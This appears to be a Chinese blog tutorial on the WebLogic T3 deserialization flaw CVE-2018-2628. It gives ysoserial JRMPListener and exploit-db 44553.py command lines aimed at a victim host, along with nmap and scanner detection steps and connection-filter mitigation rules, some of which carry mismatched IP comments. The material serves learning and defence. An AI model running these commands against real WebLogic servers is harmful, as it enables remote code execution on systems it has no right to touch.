Java反序列化漏洞之——weblogic反序列化漏洞(CVE-2018-2628)

一、Java 序列化与反序列化

Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。
Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。

     

序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。主要应用在以下场景:

HTTP:  多平台之间的通信,管理等

RMI:是 Java 的一组拥护开发分布式应用程序的 API,实现了不同操作系统之间程序的方法调用。值得注意的是,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口。

JMX: JMX 是一套标准的代理和服务,用户可以在任何 Java 应用程序中使用这些代理和服务实现管理,中间件软件 WebLogic 的管理页面就是基于 JMX 开发的,而 JBoss 则整个系统都基于 JMX 构架。 ​

2016年Spring RMI反序列化漏洞今年比较出名的:Jackson,FastJson
Java 十分受开发者喜爱的一点是其拥有完善的第三方类库,和满足各种需求的框架;但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,那么受影响范围将极为广泛。

二、Java反序列化漏洞与Weblogic反序列化漏洞介绍
1.Java反序列化漏洞历史
最为出名的大概应该是:15年的Apache Commons Collections 反序列化远程命令执行漏洞,其当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。

Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,可让readObject()实现任意命令执行。影响比较广泛的就是Apache Commons Collections这个库,中间件基本都会涉及使用此库。

2. Weblogic Java反序列化漏洞介绍
因为weblogic底层也使用Apache Commons Collections库,WebLogic 存在Java反序列化漏洞无疑的。不过在漏洞修复这方面,Oracle一直未完全修复完。以下是基于Weblogic t3协议引起远程代码执行的反序列化漏洞统计:
 

CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2019-2890

 Ysoserial

介绍

Ysoserial是国外一款安全工具,集合了各种java反序列化payload,下载地址:

https://github.com/frohoff/ysoserial/

使用方法

1、首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

[listen port]:攻击机要监听的端口
[command]:想要执行的命令

2、开始使用44553.py脚本来向目标发送数据包(基于python2.x)

     下载地址: https://www.exploit-db.com/download/44553

python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

[victim ip]:目标weblogic的IP
[victim port]:目标weblogic的端口
[path to ysoserial] :ysoserial的路径
[JRMPListener ip] :第一步中启动JRMP Server的IP地址
 [JRMPListener port] :第一步中启动JRMP Server的I端口地址
[JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

解释:JRMPListener 是 ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据发送到 Server 中,然后Server 中进行反序列化操作,并开启指定端口,然后在通过 JRMPClient 去发送攻击 payload。

RMI和JRMP协议

RMI是Remote Method Invocation的简称,是J2SE的一部分,能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地Java对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样,RMI传输过程都使用序列化和反序列化。RMI目前使用Java远程消息交换协议JRMP(Java Remote Messaging Protocol)进行通信。JRMP协议是专为Java的远程对象制定的协议。

T3协议

WebLogic Server 中的 RMI 通信使用 T3 协议在WebLogic Server和其他 Java程序(包括客户端及其他 WebLogic Server 实例)间传输数据(序列化的类)。由于WebLogic的T3协议和Web协议共用同一个端口,因此只要能访问WebLogic就可利用T3协议实现payload和目标服务器的通信。

如何检查存在漏洞

以CVE-2018-2628漏洞为例

nmap -n -v -p7001,7002 192.168.197.139 --script=weblogic-t3-info

        针对7001,和7002两个默认的控制端口进行扫描,扫描的时候加上weblogic-t3-info脚本,如果目标服务器开启了T3协议就会在扫描结果中显示。

    

     使用CVE-2018-2628漏洞检测工具,对目标主机进行检测。在url.txt中填入目标主机的“ip:port”,这里填入192.168.197.139:7001.在kali里运行CVE-2018-2628-MultiThreading.py(基于python2.x版本)开始检测,可以看到检测结果为漏洞存在。

    

临时解决办法

可通过控制T3协议的访问来临时阻断攻击行为。WebLogicServer 提供了名为weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器。此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对t3及t3s协议进行访问控制。

(1)进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。

    

  在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:* * 7001 deny t3 t3s

    

     保存后规则即可生效,无需重新启动。

     

  详细解析:

  127.0.0.1 * * allow   //表示允许本机回环地址所有协议的连接

  10.1.34.205 * * allow   //表示允许来自10.10.5.68地址任何协议的访问请求

  10.156.0.57/255.255.255.0 * * allow 或 10.156.0.57/24 * * allow   //表示允许10.10.3.0网段所有协议的连接

  0.0.0.0/0 * * deny t3 t3s   //表示禁止除上面三条规则以外所有IP地址或网段t3、t3s协议的连接。

  或者更换端口

 错误配置

10.1.34.205 * 8001 allow
10.156.0.57 * 8001 allow
10.156.0.58 * 8001 allow
0.0.0.0/0 * * 7001 allow
0.0.0.0/0 * * deny

  正确配置:

ip * * allow t3 (ip为允许的ip)

0.0.0.0/0 * *deny t3 t3s

备注:

weblogic漏洞扫描器搭建 kali环境

git clone https://github.com/rabbitmask/WeblogicScan.git  //下载

chmod +x WeblogicScan.py //提权

python3 ./WeblogicScan.py  192.168.197.139 7001  //检测

CVE-2018-2628-MultiThreading.py kali环境

git  clone  https://github.com/Lighird/CVE-2018-2628  //下载

 

 

 

 

 

 

;

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值